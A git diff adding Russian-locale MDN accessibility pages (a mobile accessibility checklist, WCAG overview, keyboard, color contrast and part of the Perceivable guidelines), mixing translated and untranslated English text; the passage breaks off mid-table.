+++ b/files/ru/web/accessibility/mobile_accessibility_checklist/index.html
@@ -0,0 +1,90 @@
+---
+title: Контрольный список по мобильной доступности
+slug: Web/Accessibility/Mobile_accessibility_checklist
+tags:
+  - Мобильная разработка
+  - доступность
+translation_of: Web/Accessibility/Mobile_accessibility_checklist
+---
+<div class="summary">
+<p><span class="seoSummary">Этот документ содержит краткий список требований доступности для разработчиков мобильных приложений. Он будет обновляться по мере появления новых техник и подходов.</span></p>
+</div>
+
+<h2 id="Цвет">Цвет</h2>
+
+<ul>
+ <li>Контраст цвета <strong>ДОЛЖЕН</strong> соответствовать требованиям уровня AA <a href="http://www.w3.org/TR/WCAG/">WCAG 2.0</a>:
+
+  <ul>
+   <li>Коэффициент контрастности 4.5:1 для обычного текста (менее 18 пунктов или 14 пунктов для жирного текста).</li>
+   <li>Коэффициент контрастности 3:1 для крупного текста (минимум 18 пунктов или 14 пунктов для жирного текста).</li>
+  </ul>
+ </li>
+ <li>Информация, передаваемая через цвет, <strong>ДОЛЖНА</strong> быть доступна и другими способами (подчёркнутый текст для ссылок и т. д.).</li>
+</ul>
+
+<h2 id="Видимость">Видимость</h2>
+
+<ul>
+ <li>Техники сокрытия содержимого, такие как нулевая непрозрачность, порядок z-индекса и размещение вне экрана, <strong>НЕ ДОЛЖНЫ</strong> использоваться исключительно для управления видимостью.</li>
+ <li>Всё, кроме видимого в данный момент экрана, <strong>ДОЛЖНО</strong> быть действительно невидимым:
+  <ul>
+   <li><strong>ИСПОЛЬЗУЙТЕ </strong><code>hidden</code><strong> </strong>атрибут или свойство<strong> </strong><code>visibility</code><strong> </strong>или изменяйте тип отображения.</li>
+   <li>Без абсолютной необходимости, <strong>НЕ ИСПОЛЬЗУЙТЕ</strong> <code>aria-hidden</code> атрибут.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Фокус">Фокус</h2>
+
+<ul>
+ <li>Все интерактивные элементы <strong>ДОЛЖНЫ</strong> иметь состояние фокуса:
+
+  <ul>
+   <li>Стандартные элементы, такие как ссылки, кнопки и поля формы фокусируемые по умолчанию.</li>
+   <li>Нестандартные элементы <strong>ДОЛЖНЫ</strong> иметь соответствующую <a href="http://www.w3.org/TR/wai-aria/roles">ARIA Role</a>, назначенную им. Например, кнопка, ссылка или чекбокс.</li>
+  </ul>
+ </li>
+ <li>Фокус должен обрабатываться в логическом порядке и последовательным образом.</li>
+</ul>
+
+<h2 id="Текстовые_эквиваленты">Текстовые эквиваленты</h2>
+
+<ul>
+ <li>Текстовый эквивалент <strong>ДОЛЖЕН</strong> быть предусмотрен для каждого не строго презентационного нетекстового элемента в приложении.
+
+  <ul>
+   <li>Используйте <em>alt</em> и <em>title</em> там, где это уместно (<a href="http://blog.paciellogroup.com/2013/01/using-the-html-title-attribute-updated/">см. статью</a> Steve Faulkner's про использование HTML атрибута {{ htmlelement("title") }}).</li>
+   <li>Если вышеуказанные атрибуты неприменимы, используйте соответствующие <a href="http://www.w3.org/WAI/PF/aria/states_and_properties#global_states_header">ARIA Properties</a>, такие как <code>aria-label</code>, <code>aria-labelledby</code>, или <code>aria-describedby</code>.</li>
+  </ul>
+ </li>
+ <li>Необходимо <strong>ИЗБЕГАТЬ</strong> текста внутри изображений.</li>
+ <li>Все элементы формы <strong>ДОЛЖНЫ</strong> иметь метки ({{ htmlelement("label") }} элементы) в интересах пользователей программы чтения с экрана.</li>
+</ul>
+
+<h2 id="Обработка_состояния">Обработка состояния</h2>
+
+<ul>
+ <li>Стандартные элементы, такие как радиокнопки и чекбоксы обрабатываются операционной системой. Однако, для других кастомных элементов изменения состояния должны быть предоставлены через <a href="http://www.w3.org/TR/wai-aria/states_and_properties#attrs_widgets_header">ARIA States</a>, такие как <code>aria-checked</code>, <code>aria-disabled</code>, <code>aria-selected</code>, <code>aria-expanded</code>, and <code>aria-pressed</code>.</li>
+</ul>
+
+<h2 id="Общие_рекомендации">Общие рекомендации</h2>
+
+<ul>
+ <li><strong>ДОЛЖНО</strong> быть указано название приложения ({{ htmlelement("title") }} элемент).</li>
+ <li>Заголовки <strong>НЕ ДОЛЖНЫ</strong> нарушать иерархическую структуру.
+  <pre class="brush: html">&lt;h1&gt;Заголовок верхнего уровня&lt;/h1&gt;
+  &lt;h2&gt;Вторичный заголовок&lt;/h2&gt;
+  &lt;h2&gt;Другой вторичный заголовок&lt;/h2&gt;
+    &lt;h3&gt;Заголовок низкого уровня&lt;/h3&gt;</pre>
+ </li>
+ <li><a href="http://www.w3.org/TR/wai-aria/roles#landmark_roles_header">ARIA Landmark Roles</a> <strong>СЛЕДУЕТ </strong>использовать для описания приложения или структуры документа, такие как <code>banner</code>, <code>complementary</code>, <code>contentinfo</code>, <code>main</code>, <code>navigation</code>, <code>search</code>.</li>
+ <li>Обработчики сенсорных событий <strong>ДОЛЖНЫ</strong> запускаться только при соответствующих событиях.</li>
+ <li>Области нажатия <strong>ДОЛЖНЫ</strong> быть достаточно большими, чтобы пользователь мог взаимодействовать с ними (см. статью <a href="http://www.bbc.co.uk/guidelines/futuremedia/accessibility/mobile/design/touch-target-size">BBC Mobile Accessibility Guidelines</a> с полезными рекомендациями по размеру области нажатия для сенсорного объекта).</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: The <a href="http://yzen.github.io/firefoxos/2014/04/30/mobile-accessibility-checklist.html">original version of this document</a> was written by <a href="http://yzen.github.io/">Yura Zenevich</a>.</p>
+</div>
+
+<p> </p>
diff --git a/files/ru/web/accessibility/understanding_wcag/index.html b/files/ru/web/accessibility/understanding_wcag/index.html
new file mode 100644
index 0000000000..fe71b20ebc
--- /dev/null
+++ b/files/ru/web/accessibility/understanding_wcag/index.html
@@ -0,0 +1,59 @@
+---
+title: Understanding the Web Content Accessibility Guidelines
+slug: Web/Accessibility/Understanding_WCAG
+tags:
+  - NeedsTranslation
+  - TopicStub
+  - WCAG
+  - Web Content Accessibility Guidelines
+translation_of: Web/Accessibility/Understanding_WCAG
+---
+<p class="summary">This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 or 2.1 (or just WCAG, for the purposes of this writing).</p>
+
+<p>The WCAG 2.0 and 2.1 provide a detailed set of guidelines for making web content more accessible to people with a wide variety of disabilities. It is comprehensive but incredibly detailed, and quite difficult to gain a rapid understanding of. For this reason, we have summarised the practical steps you need to take to satisfy the different recommendations, with further links to more details where required.</p>
+
+<h2 id="The_four_principles">The four principles</h2>
+
+<p>WCAG is broadly broken down into four principles — major things that web content <strong>must be</strong> to be considered accessible (see <a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/intro.html#introduction-fourprincs-head">Understanding the Four Principles of Accessibility </a>for the WCAG definitions).</p>
+
+<p>Each of the links below will take you to pages that further expand on these areas, giving you practical advice on how to write your web content so it conforms to the success criteria outlined in each of the WCAG 2.0 and 2.1 guidelines that further sub-divides each principle.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Perceivable">Perceivable:</a> Users must be able to perceive it in some way, using one or more of their senses.</li>
+ <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Operable">Operable</a>: Users must be able to control UI elements (e.g. buttons must be clickable in some way — mouse, keyboard, voice command, etc.).</li>
+ <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Understandable">Understandable</a>: The content must be understandable to its users.</li>
+ <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Robust">Robust</a>: The content must be developed using well-adopted web standards that will work across different browsers, now and in the future.</li>
+</ul>
+
+<h2 id="Should_I_use_WCAG_2.0_or_2.1">Should I use WCAG 2.0 or 2.1?</h2>
+
+<p>WCAG 2.1 is the most recent and relevant accessibility standard. Use WCAG 2.1 to help more people with disabilities and reduce the future legal risk for web site owners. Target WCAG 2.0 first when allocating resources. Then step up to WCAG 2.1. </p>
+
+<h3 id="What_is_WCAG_2.1">What is WCAG 2.1?</h3>
+
+<p>WCAG 2.1 was published as an official recommendation on 05 June 2018. The European Union (EU) adopted WCAG 2.1 as the digital accessibility standard in September 2018. W3C published a press release <a href="https://www.w3.org/blog/2018/09/wcag-2-1-adoption-in-europe/">WCAG 2.1 Adoption in Europe</a>. </p>
+
+<p>WCAG 2.1 includes:</p>
+
+<ul>
+ <li>all of WCAG 2.0 (verbatim, word-for-word)</li>
+ <li>17 new Success Criteria at the A / AA / AAA levels primarily addressing user needs in these areas:
+  <ul>
+   <li>Mobile Accessibility </li>
+   <li>Low Vision</li>
+   <li>Cognitive</li>
+  </ul>
+ </li>
+ <li>Read more about WCAG 2.1:
+  <ul>
+   <li>Deque: <a href="https://www.deque.com/blog/wcag-2-1-what-is-next-for-accessibility-guidelines/">WCAG 2.1:  What is Next for Accessibility Guidelines</a></li>
+   <li>TPG:  <a href="https://developer.paciellogroup.com/blog/2018/06/web-content-accessibility-guidelines-wcag-2-1/">Web Content Accessibility Guidelines (WCAG) 2.1</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Legal_standing">Legal standing</h2>
+
+<p>This guide is intended to provide practical information to help you build better, more accessible websites. However, we are not lawyers, and none of this constitutes legal advice. If you are worried about the legal implications of web accessibility, we'd recommend that you check the specific legislation governing accessibility for the web/public resources in your country or locale, and seek the advice of a qualified lawyer.</p>
+
+<p><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a> and particularity the <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_guidelines_and_the_law">Accessibility guidelines and the law</a> section provide more related information.</p>
diff --git a/files/ru/web/accessibility/understanding_wcag/keyboard/index.html b/files/ru/web/accessibility/understanding_wcag/keyboard/index.html
new file mode 100644
index 0000000000..1b92442abf
--- /dev/null
+++ b/files/ru/web/accessibility/understanding_wcag/keyboard/index.html
@@ -0,0 +1,87 @@
+---
+title: Русский
+slug: Web/Accessibility/Understanding_WCAG/Keyboard
+translation_of: Web/Accessibility/Understanding_WCAG/Keyboard
+---
+<p><span class="tlid-translation translation" lang="ru"><span title="">Чтобы веб-страница была полностью доступной, она должна быть управляема кем-то, кто использует только клавиатуру для доступа к ней и управления ею.</span> <span title="">Сюда входят пользователи программ чтения с экрана, но также могут быть пользователи, у которых есть проблемы с использованием указывающего устройства, такого как мышь или трекбол, или у которых мышь не работает в данный момент, или которые просто предпочитают использовать клавиатуру для ввода, когда это возможно.</span></span></p>
+
+<p>Фокусируемые элементы должны иметь интерактивную семантику</p>
+
+<p>Если элемент можно сфокусировать с помощью клавиатуры, он должен быть интерактивным; то есть пользователь должен иметь возможность что-то сделать с ним и произвести какое-либо изменение (например, активировать ссылку или изменить параметр).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> One important exception to this rule is if the element has <code>role="document" </code>applied to it, <strong>inside </strong>an interactive context (such as <code>role="application"</code>). In such a case, focusing the nested document is the only way of returning assistive technology to a non-interactive state (often called "browse mode").</p>
+</div>
+
+<p>Most interactive elements are focusable by default; you can make an element focusable by adding a <code>tabindex=0</code> attribute value to it. However, you should only add <code>tabindex</code> if you have also made the element interactive, for example, by defining appropriate event handlers keyboard events.</p>
+
+<h3 id="See_also">See also</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li>
+</ul>
+
+<h2 id="Avoid_using_tabindex_attribute_greater_than_zero">Avoid using <code>tabindex</code> attribute greater than zero</h2>
+
+<p>The <code>tabindex</code> attribute indicates that an element is focusable using the keyboard. A value of zero indicates that the element is part of the default focus order, which is based on the ordering of elements in the HTML document. A positive value puts the element ahead of those in the default ordering; elements with positive values are focused in the order of their <code>tabindex</code> values (1, then 2, then 3, etc.).</p>
+
+<p>This creates confusion for keyboard-only users when the focus order differs from the logical order of the page. A better strategy is to structure the HTML document so that focusable elements are in a logical order, without the need to re-order them with positive <code>tabindex</code> values.</p>
+
+<h3 id="See_also_2">See also</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/focus-order.html">Understanding focus order</a></li>
+ <li><a href="http://adrianroselli.com/2014/11/dont-use-tabindex-greater-than-0.html">Don't use tabindex greater than 0</a></li>
+</ul>
+
+<h2 id="Clickable_elements_must_be_focusable_and_should_have_interactive_semantics">Clickable elements must be focusable and should have interactive semantics</h2>
+
+<p>If an element can be clicked with a pointing device, such as a mouse, then it should also be focusable using the keyboard, and the user should be able to do something by interacting with it.</p>
+
+<p>An element is clickable if it has an <code>onclick</code> event handler defined. You can make it focusable by adding a <code>tabindex=0</code> attribute value to it. You can make it operable with the keyboard by defining an <code>onkeydown</code> event handler; in most cases, the action taken by event handler should be the same for both types of events.</p>
+
+<h3 id="See_also_3">See also</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li>
+</ul>
+
+<h2 id="Interactive_elements_must_be_able_to_be_activated_using_a_keyboard">Interactive elements must be able to be activated using a keyboard</h2>
+
+<p>If the user can interact with an element using touch or a pointing device, then the element should also support interacting using the keyboard. That is, if you have defined event handlers for touch or click events, you should also define them for keyboard events. The keyboard event handlers should enable the effectively the same interaction as the touch or click handlers.</p>
+
+<h3 id="See_also_4">See also</h3>
+
+<ul>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li>
+</ul>
+
+<h2 id="Interactive_elements_must_be_focusable">Interactive elements must be focusable</h2>
+
+<p>If the user can interact with an element (for example, using touch or a pointing device), then it should be focusable using the keyboard. You can make it focusable by adding a <code>tabindex=0</code> attribute value to it. That will add the element to the list of elements that can be focused by pressing the <kbd>Tab</kbd> key, in the sequence of such elements as defined in the HTML document.</p>
+
+<h3 id="See_also_5">See also</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li>
+</ul>
+
+<h2 id="Focusable_element_must_have_focus_styling">Focusable element must have focus styling</h2>
+
+<p>Any element that can receive keyboard focus should have visible styling that indicates when the element is focused. You can do this with the <code><a href="/en-US/docs/Web/CSS/:focus">:focus</a></code> CSS pseudo-class.</p>
+
+<p>Standard focusable elements such as links and input fields are given special styling by the browser by default, so you might not need to specify focus styling for such elements, unless you want the focus styling to be more distinctive.</p>
+
+<p>If you create your own focusable components, be sure that you also define focus styling for them.</p>
+
+<h3 id="See_also_6">See also</h3>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Techniques/css/C15.html">Using CSS to change the presentation of a UI component when it receives focus</a></li>
+</ul>
diff --git a/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html b/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html
new file mode 100644
index 0000000000..e63497f6ee
--- /dev/null
+++ b/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html
@@ -0,0 +1,56 @@
+---
+title: Цветовой контраст
+slug: Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast
+tags:
+  - WCAG
+  - Контраст
+  - доступность
+translation_of: Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast
+---
+<h2 id="Описание_проблемы">Описание проблемы</h2>
+
+<p>Цветовой контраст между фоном и содержимым переднего плана (обычно текстом) должен быть минимальным, чтобы обеспечить удобство чтения. Хорошо иметь крутой дизайн на своем сайте, но он бесполезен, если ваши пользователи не могут прочитать контент.</p>
+
+<p>Пример хорошего контраста:<img alt="An example of good color contrast consisting of the words good contrast with a light purple background." src="https://mdn.mozillademos.org/files/16466/Screen_Shot_2019-02-04_at_5.31.23_PM.png" style="height: 310px; width: 810px;"></p>
+
+<p>Пример плохого контраста:<img alt="An example of bad color contrast consisting of the words bad contrast with a dark purple background." src="https://mdn.mozillademos.org/files/16467/Screen_Shot_2019-02-04_at_5.31.34_PM.png" style="height: 316px; width: 814px;"></p>
+
+<p>Наличие хорошего цветового контраста на вашем сайте принесёт пользу всем вашим пользователям, но в особенности будет полезно пользователям с определенными типами дальтонизма и другими подобными условиями, которые испытывают затруднения при распознавании похожих цветов.</p>
+
+<h2 id="Связанные_с_WCAG_критерии_успеха">Связанные с WCAG критерии успеха</h2>
+
+<dl>
+ <dt><a href="https://www.w3.org/TR/WCAG21/#contrast-minimum">1.4.3 Минимальный контраст (AA)</a></dt>
+ <dd>Цветовой контраст между фоном и содержимым переднего плана должен быть минимальным, чтобы обеспечить удобочитаемость:
+ <ul>
+  <li>Текст и его фон должны иметь контрастность не менее 4.5.1.</li>
+  <li>Текст заголовка (или просто крупный текст) должен иметь соотношение не менее 3.1. Крупный текст определяется как минимум 18pt или 14pt полужирный.</li>
+ </ul>
+ </dd>
+ <dt><a href="https://www.w3.org/TR/WCAG21/#contrast-enhanced">1.4.6 Улучшенный контраст (AAA)</a></dt>
+ <dd>Это следует и основывается на критерии 1.4.3.
+ <ul>
+  <li>Текст и его фон должны иметь контрастность не менее 7.1.</li>
+  <li>Текст заголовка (или просто крупный текст) должен иметь соотношение не менее 4.5.1.</li>
+ </ul>
+ </dd>
+ <dt><a href="https://www.w3.org/TR/WCAG21/#non-text-contrast">1.4.11 Нетекстовый контраст (AA)</a> (добавлен в 2.1)</dt>
+ <dd>Минимальное соотношение цветовой контрастности для компонентов пользовательского интерфейса и графических объектов должно составлять 3 к 1.</dd>
+</dl>
+
+<h2 id="Решение">Решение</h2>
+
+<p>При выборе цветовой схемы для вашего сайта, выберите цвета переднего плана и фона, которые имеют хороший контраст. Сделайте цветовой контраст настолько хорошим, насколько это возможно в рамках ваших проектных ограничений — в идеале используйте рейтинг AAA (см. 1.4.6 выше), или в крайнем случае, соответствуйте рейтингу AA (см. 1.4.3 выше).</p>
+
+<p>Если вы используете нетекстовый контент, такой как видео или анимация, вы должны следовать 1.4.11.</p>
+
+<p>Чтобы проверить свой контраст при выборе цвета, используйте такой инструмент, как <a class="external external-icon" href="http://webaim.org/resources/contrastchecker/" rel="noopener">Color Contrast Checker</a> от WebAIM.</p>
+
+<p>Вы также можете проверить цветовой контраст на лету с помощью инструментов разработчика Firefox — см. наше руководство <a href="/ru/docs/Tools/Инспектор_доступности">Инспектор доступности</a>, и в частности раздел <a href="/ru/docs/Tools/Инспектор_доступности#Цветовой_контраст">Цветовой контраст</a>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Цвет и цветовой контраст</a></li>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">Понимание нетекстового контраста</a></li>
+</ul>
diff --git a/files/ru/web/accessibility/understanding_wcag/perceivable/index.html b/files/ru/web/accessibility/understanding_wcag/perceivable/index.html
new file mode 100644
index 0000000000..8388c3206f
--- /dev/null
+++ b/files/ru/web/accessibility/understanding_wcag/perceivable/index.html
@@ -0,0 +1,359 @@
+---
+title: Perceivable
+slug: Web/Accessibility/Understanding_WCAG/Perceivable
+tags:
+  - Accessibility
+  - NeedsTranslation
+  - Principle 1
+  - TopicStub
+  - WCAG
+  - Web Content Accessibility Guidelines
+  - contrast
+  - different presentation
+  - text alternatives
+  - time-based media
+translation_of: Web/Accessibility/Understanding_WCAG/Perceivable
+---
+<p class="summary">This article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the <strong>Perceivable</strong> principle of the Web Content Accessibility Guidelines (WCAG) 2.0 and 2.1. Perceivable states that users must be able to perceive it in some way, using one or more of their senses.</p>
+
+<div class="note">
+<p><strong>Note</strong>: To read the W3C definitions for Perceivable and its guidelines and success criteria, see <a href="https://www.w3.org/TR/WCAG21/#perceivable">Principle 1: Perceivable - Information and user interface components must be presentable to users in ways they can perceive.</a></p>
+</div>
+
+<h2 id="Guideline_1.1_—_Providing_text_alternatives_for_non-text_content">Guideline 1.1 — Providing text alternatives for non-text content</h2>
+
+<p>The key here is that text can be converted to other forms people with disabilities can use, so for example spoken by a screenreader, zoomed in, or represented on a braille display. Non-text content refers to multimedia such as images, audio, and video.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Success criteria</th>
+   <th scope="col">How to conform to the criteria</th>
+   <th scope="col">Practical resource</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="5">1.1.1 Provide text equivalents  (A)</td>
+   <td>All images that convey meaningful content should be given suitable alternative text.</td>
+   <td><a href="/en-US/docs/Learn/Accessibility/HTML#Text_alternatives">Text alternatives.</a></td>
+  </tr>
+  <tr>
+   <td>Complex images or charts should have an accessible alternative provided, either on the same page or linked to. Use a regular link rather than the <code>longdesc</code> attribute.</td>
+   <td>
+    <p>A text description may work, or an accessible data table (see <a href="/en-US/docs/Learn/HTML/Tables/Advanced">HTML table advanced features and accessibility</a>). Also see <a href="/en-US/docs/Learn/Accessibility/HTML#Other_text_alternative_mechanisms">Other text alternative mechanisms</a> for the argument against <code>longdesc</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Multimedia content (e.g. audio or video) should at least have a descriptive identification available (e.g. a caption or similar).</td>
+   <td>
+    <p>See <a href="/en-US/docs/Learn/Accessibility/HTML#Text_alternatives">Text alternatives</a> for static caption options, and <a href="/en-US/docs/Learn/Accessibility/Multimedia#Audio_transcripts">Audio transcripts</a>, <a href="/en-US/docs/Learn/Accessibility/Multimedia#Video_text_tracks">Video text tracks</a>, and <a href="/en-US/docs/Learn/Accessibility/Multimedia#Other_multimedia_content">Other multimedia content</a> for other alternatives.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>UI Controls such as form elements and buttons should have text labels that describe their purpose.</td>
+   <td>Buttons are simple — you should make sure the button text describes the function of the button (e.g. <code>&lt;button&gt;Upload image&lt;/button&gt;</code>). For further information on other UI controls, see <a href="/en-US/docs/Learn/Accessibility/HTML#UI_controls">UI controls</a>.</td>
+  </tr>
+  <tr>
+   <td>Implement decorative (non-content) images, video, etc., in a way that is invisible to assistive technology, so it doesn't confuse users.</td>
+   <td>
+    <p>Decorative images should be implemented using CSS background images (see <a href="/en-US/docs/Learn/CSS/Styling_boxes/Backgrounds">Backgrounds</a>).  If you have to include an image via an {{htmlelement("img")}} element, give it a blank alt (<code>alt=""</code>), otherwise screenreaders may try to read out the filepath, etc.</p>
+
+    <p>If you are including background video or audio that autoplays, make it as unobtrusive as possible. Don't make it look/sound like content, and provide a control to turn it off. Ideally, don't include it at all.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: Also see the <a href="https://www.w3.org/TR/WCAG21/#text-alternatives">WCAG description for Guideline 1.1: Text alternatives</a>.</p>
+</div>
+
+<h2 id="Guideline_1.2_—_Providing_text_alternatives_for_time-based_media">Guideline 1.2 — Providing text alternatives for time-based media</h2>
+
+<p>Time-based media refers to multimedia with a duration, i.e. audio and video. Also note that if the audio/video serves as an alternative to existing text content, you don't need to provide another text alternative.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Success criteria</th>
+   <th scope="col">How to conform to the criteria</th>
+   <th scope="col">Practical resource</th>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="1">1.2.1 Provide alternatives for pre-recorded audio-only and video-only content (A)</td>
+   <td>A transcript should be provided for prerecorded audio-only media, and a transcript or audio description should be provided for prerecorded video-only media (i.e. silent video).</td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/Multimedia#Audio_transcripts">Audio transcripts</a> for transcript information. No audio description tutorial available as yet.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.2 Provide captions for web-based video (A)</td>
+   <td>You should provide captions for video presented on the web, e.g. HTML5 video. This is for the benefit of people who can't hear the audio part of the video.</td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/Multimedia#Video_text_tracks">Video text tracks</a> for HTML5 video captions, and <a href="/en-US/docs/Learn/Accessibility/Multimedia#Other_multimedia_content">Other multimedia content</a> for other technologies. See also <a href="https://support.google.com/youtube/answer/2734796?hl=en">Add your own subtitles &amp; closed captions</a> (YouTube).</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.3 Provide text transcript or audio description for web-based video (A)</td>
+   <td>You should provide text transcripts or audio descriptions for video presented on the web, e.g. HTML5 video. This is for the benefit of people who can't see the visual part of the video, and don't get the full content from the audio alone.</td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/Multimedia#Audio_transcripts">Audio transcripts</a> for transcript information. No audio description tutorial available as yet.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.4 Provide captions for live audio (AA)</td>
+   <td>You should provide synchronized captions for all live multimedia that contains audio (e.g. video conferences, live audio broadcasts.)</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.5 Provide audio descriptions for prerecorded video (AA)</td>
+   <td>Audio descriptions should be provided for prerecorded video, but only where the existing audio does not convey the full meaning expressed by the video.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.6 Provide sign language equivalent to prerecorded audio (AAA)</td>
+   <td>An equivalent sign language video should be provided for any prerecorded content containing audio.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.7 Provide extended video with audio descriptions (AAA)</td>
+   <td>Where audio descriptions cannot be provided (see 1.2.5) due to video timing issues (e.g. there are no suitable pauses in the content in which to insert the audio descriptions), an alternative version of the video should be provided that includes inserted pauses (and audio descriptions).</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.8 Provide an alternative for prerecorded media (AAA)</td>
+   <td>For all content that features video, a descriptive text transcript should be provided, for example a script of the movie you are watching. This is for the benefit of hearing impaired viewers who cannot hear the content.</td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/Multimedia#Audio_transcripts">Audio transcripts</a> for transcript information.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.9 Provide a transcript for live audio (AAA)</td>
+   <td>For any live audio content being broadcast, a descriptive text should be provided, for example a script of the play or musical you are listening to. This is for the benefit of hearing impaired viewers who cannot hear the content.</td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/Multimedia#Audio_transcripts">Audio transcripts</a> for transcript information.</td>
+  </tr>
+ </thead>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: Also see the <a href="https://www.w3.org/TR/WCAG21/#time-based-media">WCAG description for Guideline 1.2: Time-based Media: Provide alternatives for time-based media</a>.</p>
+</div>
+
+<h2 id="Guideline_1.3_—_Create_content_that_can_be_presented_in_different_ways">Guideline 1.3 — Create content that can be presented in different ways</h2>
+
+<p>This guideline refers to the ability of content to be consumed by users in multiple ways, accomodating their differing needs.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Success criteria</th>
+   <th scope="col">How to conform to the criteria</th>
+   <th scope="col">Practical resource</th>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="1">1.3.1 Info and relationships (A)</td>
+   <td>
+    <p>Any content structure — or visual relationship made between content —  can also be determined programmatically, or be inferred from text description. The main situations in which this is relevant are:</p>
+
+    <ul>
+     <li>Text labels and the form elements they describe are associated unambiguously using the {{htmlelement("label")}} element, which can be picked up by screenreaders, etc.</li>
+     <li>Image alt text — content images should have text available that clearly describes the image's contents, which can be programmatically associated with it (e.g. <code>alt</code> text), or otherwise is easy to associate (e.g. describes it and is sat right next to it). This should means that the full meaning can still be inferred even if you can't see the image.</li>
+     <li>Lists — if the order of list items is important, and ordered list should be used ({{htmlelement("ol")}}).</li>
+    </ul>
+   </td>
+   <td>The whole of
+    <p><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a> is packed with information about this, but you should particularly refer to <a href="/en-US/docs/Learn/Accessibility/HTML#Good_semantics">Good semantics</a>, <a href="/en-US/docs/Learn/Accessibility/HTML#UI_controls">UI controls</a>, and <a href="/en-US/docs/Learn/Accessibility/HTML#Text_alternatives">Text alternatives</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.3.2 Meaningful content sequence (A)</td>
+   <td>A sensible, logical reading order should be easy to determine for any content, even if it is visually presented in an unusual way. The order should be made obvious by use of correct semantic elements (e.g. headings, paragraphs), with CSS being used to create any unusual layout styles, irrespective of the markup.</td>
+   <td>Again, refer to <a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a>.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.3.3 Sensory characteristics (A)</td>
+   <td>
+    <p>Instructions for operating controls or understanding content do not rely on a single sense — this may prove inaccessible to people with a disability related to that sense, or a device that does not support that sense. So for example:</p>
+
+    <ul>
+     <li>"Click the round button to continue" — The button should be clearly labelled so that it is obvious that it is the button you need to press. If there are multiple buttons, make sure there are all clearly labelled to distinguish their function.</li>
+     <li>"Listen to the audio instructions for guidance" — This is obviously problematic — audio will be inaccessible to those with heading impairments, whereas text can be read, but also spoken by a screenreader if required.</li>
